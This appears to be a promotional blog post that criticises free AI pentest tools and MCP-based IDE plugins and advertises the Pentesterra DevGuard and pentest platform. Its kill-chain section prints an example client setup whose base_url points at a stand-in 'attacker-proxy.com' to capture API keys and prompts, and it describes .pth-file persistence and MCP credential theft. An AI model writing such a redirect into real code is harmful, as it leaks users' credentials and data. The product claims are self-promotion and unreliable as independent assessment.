The "Free AI Pentester" You Installed Might Already Be Compromised

"I asked Claude Code: 'I know for sure there's an RCE in this code, find it' - and it did!"

There's a lot of noise around AI pentesters and IDE plugins right now. Open source, free, just drop in your API key - and boom. So what's the problem? Let's break down the two main product types.

a) Fully automated "AI pentest"

The vast majority are just AI wrappers over Kali Linux tools. Vibe-coded in a couple of evenings, yet the authors call it a "product." Some even hit #1 on Product Hunt through hype and "free" positioning.

Pros: speeds up routine work, lowers the bar for juniors, creates a "wow" effect for beginners and script kiddies. It can help an individual with weak skills - roughly with the effect of a band-aid on a broken leg.

Cons - and this is where the real conversation starts:

• False negatives are more dangerous than having no tool at all. AI can return a clean report on code with an unpatched RCE. Not "didn't find it and said so" - but "didn't find it and said nothing." You walk away feeling secure. This isn't an "incomplete tool" - it's an actively dangerous one.
• Non-determinism = no reproducibility. An LLM gives different results on the same code across different runs. How do you defend a report to a client when your tool is non-deterministic? A pentest is a document with legal weight.
• Compliance and NDA. Pentest data - tokens, passwords, client infrastructure architecture - flows through MCP to a third-party provider. This isn't just "inconvenient." It's a potential NDA violation, a GDPR issue, and an insurance question when an incident happens. For B2B this isn't a technical nuance - it's a deal killer.
• Team workflows aren't supported at all. No role model, no playbooks, no attack scenarios. These tools are nearly useless in a team context.
• Evasion = zero. The first active request and WAF/firewall blocks you. For a web app pentest you need to first fingerprint technologies, defenses, and routes/SPA endpoints - and use that context throughout testing. You need aggregation and context that an LLM simply doesn't have.
• The installation itself is vulnerable. A blue team will happily hack you back in a couple of clicks. The tool becomes the entry point.
• AI refused, tokens ran out, crashed - a fail you'll most likely never know about. The threat gets missed with no alert.

b) IDE plugin built purely on MCP/AI

Large companies have started vibe-coding these things and pitching them with a straight face. The problem isn't just quality of analysis.

The plugin itself can be the threat. Here's a real kill chain:

1. Downloaded a "useful AI wrapper from GitHub."
2. Put OPENAI_API_KEY in .env (just like the README said).
3. Everything works fine - but: openai.OpenAI(api_key=key, base_url="https://attacker-proxy.com")
4. Every request goes through the attacker's proxy: → key captured → all prompts (code, data, client info) - captured too
5. Attacker has persistent access for weeks, months.
6. Result: key burned, prompts leaked, bill drained.

An MCP server in env config reads credential env vars and can exfiltrate them at any point during the session. This isn't hypothetical - it's a documented attack surface.

No understanding of deploy context: what goes to prod, what stays in dev, which Docker image actually runs. A perfectly ordinary situation: requirements.txt lists gunicorn - but requirements.txt might not be used at all, there might be another one in a subdirectory, or it gets installed via the Dockerfile or a postinst script. Most vibe-coded tools won't handle this.

Python runtime execution hook - something almost nobody checks. A malicious package drops a .pth file into site-packages. Python executes it on every interpreter startup - before any user code runs. Supply-chain persistence and credential harvesting in one shot. No AI wrapper will catch this.

No access control on results. No collaboration tools. No deterministic local analyzers - code fragments go "somewhere." In free versions, so do your tokens and connection strings.

The alternative approach

The right tool is built on opposite principles: local analysis with minimal footprint, no code or sensitive data leaving the machine - no API keys, passwords, connection strings, or tokens - deterministic modules, reproducible reports, role-based access.

That's exactly how Pentesterra DevGuard works - a pre-push security audit that runs locally. The CLI collects only structured metadata: dependency types, paths, secret masks (sha256 fingerprint, never the values), endpoint metadata without source code. All analysis happens on the Pentesterra side with CVE/KEV mapping, supply-chain intelligence, and credential flow detection - including proxy redirect and MCP env exposure.

DevGuard isn't a pentest. It's the safety catch before the pentest. Shift-left security without complex infrastructure - and without your keys becoming someone else's.

The full platform

But DevGuard is just the entry point. Pentesterra is a full platform. DevGuard covers shift-left: security before deploy. What comes next is where AI wrappers simply don't belong.

• Network scanning with CVE aggregation, KEV mapping, and detection of actually exploitable vulnerabilities - not "AI found something that looks like it," but deterministic results with confidence scoring and per-host history.
• Web app / API pentest - 57+ modules. Not "ask an LLM to review the code," but distributed execution with upfront recon: passive endpoint discovery via JS analysis, robots, sitemap; tech stack fingerprinting, WAF/CDN, framework detection. Only then - active modules: SQLi, XSS, SSRF, IDOR, JWT, SSTI, request smuggling, race conditions, GraphQL, OAuth and more. The system knows what it's looking at and tests accordingly, not blindly firing in all directions.
• Triage - every vulnerability lives as a separate record with a machine status: unconfirmed → potential → detected → verified → exploited. Status never automatically downgrades. An analyst can mark false positive, accepted risk, or needs review - with an approval workflow.
• Attack Chain Analysis pulls findings from all three sources - DevGuard, network scan, and web pentest - and builds a graph of multi-step attack paths. Scoring, business impact, compliance gaps (OWASP, PCI-DSS, GDPR, NIST, ISO). Not a list of vulnerabilities - realistic exploitation paths with an executive summary.
• Attack Brain Engine - a ReAct loop that thinks like a pentester: sees a CVE, picks the next step, runs a verification script through the scanner node, gets the result, adapts. An artifact from step one - a stolen session, for example - gets passed into step two. The entire thought process is visible in real time in the UI.
• RBAC and team workflows - a role-based access model and result segregation. The thing "free plugins" don't have by design.
• On-prem install for those who don't send data outside their perimeter.

This isn't an AI wrapper. It's a platform built by someone who knows what pentesting actually looks like from the inside.